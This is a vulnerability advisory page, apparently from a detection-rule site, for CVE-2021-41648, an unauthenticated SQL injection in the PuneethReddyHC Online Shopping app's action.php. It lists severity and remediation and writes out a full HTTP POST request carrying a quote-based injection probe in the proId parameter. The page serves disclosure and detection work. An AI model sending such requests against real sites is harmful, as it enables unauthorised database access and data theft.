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CVE-2021-41648: PuneethReddyHC action.php SQL Injection

TitlePuneethReddyHC action.php SQL Injection
Authordaffainfo
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
RemediationUpgrade to the latest version to mitigate this vulnerability.
CVSS Score7.5
EPSS Score0.63228
CVE IDCVE-2021-41648
CWE IDCWE-89
Tags cve2021 cve sqli packetstorm online-shopping-system-advanced_project vuln

🔍 Vulnerability Description

An unauthenticated SQL injection vulnerability exists in PuneethReddyHC Online Shopping through the /action.php prId parameter. Using a post request does not sanitize the user input.

🌐 HTTP Request

POST /action.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Connection: close
Content-Length: 20
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

proId=1'&addToCart=1

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-41648.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-41648.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A